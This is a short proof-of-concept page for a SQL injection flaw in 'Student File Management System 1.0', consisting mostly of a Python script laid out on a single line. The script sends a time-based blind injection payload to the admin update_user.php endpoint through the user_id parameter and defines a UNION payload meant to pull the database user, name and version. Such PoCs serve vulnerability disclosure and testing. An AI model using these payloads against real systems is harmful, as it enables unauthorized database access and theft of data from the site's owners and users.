CVE-2025-14621 code-projects Student File Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-14621 SQL Injection PoC # Target: Student File Management System 1.0 # Endpoint: /admin/update_user.php # Parameter: user_id target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' # Blind SQL Injection payload to extract database version payload = "1' AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- " params = { 'user_id': payload } print(f'[+] Targeting: {target_url}') print(f'[+] Testing SQL Injection on /admin/update_user.php') try: response = requests.get(f'{target_url}/admin/update_user.php', params=params, timeout=10) if response.elapsed.total_seconds() >= 5: print('[+] SQL Injection Confirmed! Time-based blind injection works.') else: print('[-] No obvious injection detected.') except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') # UNION-based injection payload for data extraction union_payload = "1' UNION SELECT NULL,NULL,user(),database(),version(),NULL-- " params_union = {'user_id': union_payload} print(f'[+] Testing UNION injection: {union_payload}')